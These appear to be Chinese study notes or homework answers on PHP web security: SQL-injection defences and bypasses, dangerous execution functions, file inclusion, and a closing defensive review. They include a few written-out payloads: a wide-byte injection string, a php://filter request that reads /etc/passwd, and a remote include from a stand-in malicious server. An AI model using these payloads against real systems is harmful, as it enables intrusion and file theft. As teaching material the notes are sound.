1、sql注入漏洞中,常见的防护方案有哪些?请简述原理和用法
类型转换:
将输⼊强制转换为整数/浮点 ⽤于整数/浮点类型的输⼊参数处理,可防⽌SQL注⼊。
intval($input)
floatval()
floor()
(int)$input
$input + 0
特殊字符转义:
addslashes 在单引号(')、双引号(")、反斜线(\)与 NULL前加上反斜线可⽤于防⽌SQL注⼊。
magic_quotes_gpc:
当magic_quotes_gpc=On时,如果post、get、cookie过来的数据有单引号(’)、双引号(”)、反斜线(\)与 NUL(NULL 字符)等字符,PHP解析器就会⾃动增加转义字符“\”。如果这个选项为off,那么我们就必须调⽤addslashes这个函数来为字符串增加转义。
2、针对常见的防护方案,哪些是可以绕过的?哪些又没法绕过?
在php中,addshalshes()函数的作⽤是在单引号(')、双引号(")、反斜杠()和NULL前加上反斜杠,这样可以防御⼤部分的恶意SQL注⼊。
SQL语句中传参⽆单引号闭合绕过:
数字型参数往往不需要⽤单引号(')闭合,因为SQL语句没有单引号,故攻击者只需在后⾯加上注⼊语句,addslashes()函数对这些语句是不起作⽤的,这种情况多⻅于数字型参数注⼊,解决的⽅法是先⽤intval()函数进⾏强制转换。
宽字节注⼊绕过:
因为addslashes()函数⾸先在单引号(%27)前⾯加⼀个反斜杠(%5c),在GBK编码中,%df%5c为中⽂“運”,这就导致后⾯的单引号逃掉了。
编码解码导致绕过:
urldecode 编码注⼊,id = urldecode($id) //注⼊语句进⾏两次编码,⾸先通过addslashes()过滤,然后urlencode解码。
base64_decode 编码注⼊,$id = base64_decode($id) //⾸先通过addslashes()过滤,然后urlencode解码.
json_decode 编码注⼊,json_decode具备绕过全局转义以及gpc的特点,也就是会吃掉反斜杠。当我们提交'时会被转义成'⽽这⾥再经过⼀次json_decode则会吃掉反斜杠。
弱类型绕过:
在判断数据类型时,php有类型函数 对其判断,php是⼀种弱类型,会⾃动转换类型。如果只是判断 并没有赋值。可能会造成漏洞。
⼆次注⼊绕过:
⼆次注⼊的原理,在第⼀次进⾏数据库插⼊数据的时候,仅仅只是使⽤了 addslashes 或者是借助 magic_quotes_gpc 对其中的特殊字符进⾏了转义,但是addslashes有⼀个特点就是虽然参数在过滤后会添加 “\” 进⾏转义,但是“\”并不会插⼊到数据库中,在写⼊数据库的时候还是保留了原来的数据。
http头信息注⼊绕过:
通常 程序员会设置全局过滤防⽌SQL注⼊,开启之后 GET POST COOKIE这些传⼊过来的值都会进⾏过滤。对http头信息的值不但是直接获取,⽽且不会对其进⾏过滤。在php中获取头信息,是针对客户端的 都是以HTTP开头。
难以绕过的防护,预编译语句和参数化查询:
由于预编译语句将SQL代码与数据分离,使得攻击者无法改变SQL命令的结构,因此除非应用程序本身有缺陷,否则很难绕过这种防护。
最小权限原则:
即使发生SQL注入,攻击者的操作也会受到数据库用户权限的限制,从而降低损害范围。
3、请参考pikachu靶场,审计并利用宽字节注入漏洞
如果mysql连接中有这样的语句:
mysql_query("SET NAMES 'gbk'"); set character_set_client=gbk
就有可能存在宽字节注⼊,该语句的作⽤是把传⼊的参数转换为GBK编码。这时候如果这样注⼊:id=1%df',就可以绕过addslashes()函数。
因为addslashes()函数⾸先在单引号(%27)前⾯加⼀个反斜杠(%5c),在GBK编码中,%df%5c为中⽂“運”,这就导致后⾯的单引号逃掉了。
%df%27===>(addslashes)====>%df%5c%27====>(GBK)====>運'
pikachu靶场宽字节注⼊代码:
4、命令注入漏洞常见的函数有哪些?
exec()用于执行一个外部程序,并返回最后一行输出。
system()类似于exec(),但它会直接输出结果并且只返回最后一个输出行。
shell_exec()执行命令并以字符串形式返回完整的输出结果。
passthru()执行一个外部程序并将原始输出传递给浏览器。
popen()打开进程文件指针,可以用来执行命令并与进程通信。
proc_open()执行命令并打开文件指针到进程,提供了对输入/输出/错误流更复杂的控制。
escapeshellcmd() 和 escapeshellarg()虽然这两个函数是设计用来帮助防止命令注入的,但如果使用不当或者在某些复杂情况下仍然可能有风险。
backticks (``)使用反引号包裹的命令等同于调用shell_exec()。
parse_ini_file()如果处理来自不受信任来源的.ini配置文件,可能会导致命令注入。
5、代码执行漏洞常见的函数有哪些?
eval() 函数会将传入的字符串作为PHP代码来执行。如果这个字符串包含了用户输入,则可能会导致严重的安全风险。
assert()类似于 eval(),assert() 也可以用于执行传递给它的表达式。当其参数包含用户输入时,可能存在危险。
preg_replace()(在PHP 5.5.0中已废弃,在PHP 7.0.0中移除)可以让正则表达式替换操作中的替换部分被执行为PHP代码。
call_user_func() 和 call_user_func_array()这些函数允许动态调用其他函数或方法。如果函数名或方法名是基于用户输入确定的,那么就有可能被利用来进行代码执行。
6、如何结合伪协议通过文件包含漏洞读取文件?请简述原理
本地文件包含 :
如果PHP配置允许(即allow_url_include设置为On),攻击者可以通过提供带有伪协议的路径来尝试读取本地文件。例如,使用php://filter/read=convert.base64-encode/resource=/etc/passwd
来读取并以Base64编码形式输出/etc/passwd文件的内容。
远程文件包含:
当allow_url_fopen或allow_url_include开启时,攻击者可以尝试通过HTTP或HTTPS协议包含远程文件,比如http://malicious-server/payload.php
。这通常用于执行远程托管的恶意代码。
7、复习php常见漏洞
SQL注入
描述:当用户输入未被正确验证或转义时,攻击者可以通过构造特殊的SQL语句来操纵数据库。
防护措施:使用预编译语句和参数化查询。对所有用户输入进行严格的验证和过滤。
2. 文件包含漏洞
描述:通过操纵文件路径参数,攻击者可以强制服务器加载并执行任意文件。
防护措施:避免基于用户输入动态加载文件。使用白名单限制允许包含的文件。禁用allow_url_include配置项以防止远程文件包含。
3. 命令注入
描述:如果用户输入直接用于构建系统命令,则攻击者可插入恶意指令。
防护措施:不要使用不受信任的数据作为命令的一部分。使用安全API代替直接调用shell命令。对任何传递给命令函数的数据进行严格验证。
4. 代码执行漏洞
描述:某些PHP函数如eval()、assert()等可以直接执行传入的字符串为PHP代码。
防护措施:尽量避免使用这些危险函数。如果必须使用,确保传入数据经过严格的验证和消毒。
5. 反序列化漏洞
描述:当处理不可信来源的序列化数据时,可能会触发对象内的魔术方法,从而执行任意代码。
防护措施:永远不要反序列化不受信任的数据。使用安全的方式存储和传输复杂数据结构,比如JSON格式。
6. XSS
描述:攻击者可以在网页上插入恶意脚本,当其他用户浏览该页面时执行。
防护措施:对所有输出到浏览器的内容进行适当的HTML实体编码。
7. CSRF
描述:攻击者诱导用户在已认证的状态下向应用发送伪造请求。
防护措施:使用CSRF令牌验证每个表单提交和重要操作。
8. 不安全的身份验证和会话管理
描述:薄弱的登录机制或不安全的会话处理可能导致账户劫持。
防护措施:强制使用强密码。正确配置会话设置,例如使用HTTPS、设置正确的Cookie属性等。
9. 文件上传漏洞
描述:不当处理用户上传的文件可能导致恶意文件被执行或传播恶意软件。
防护措施:严格验证上传文件的类型和大小。存储上传文件于非公开目录,并重命名文件以防止直接访问。
10. 错误处理和信息泄露
描述:详细的错误消息可能会暴露敏感信息,帮助攻击者了解系统的内部工作原理。
防护措施:在生产环境中禁用显示详细错误信息的功能。记录错误日志但不在前端展示过多细节。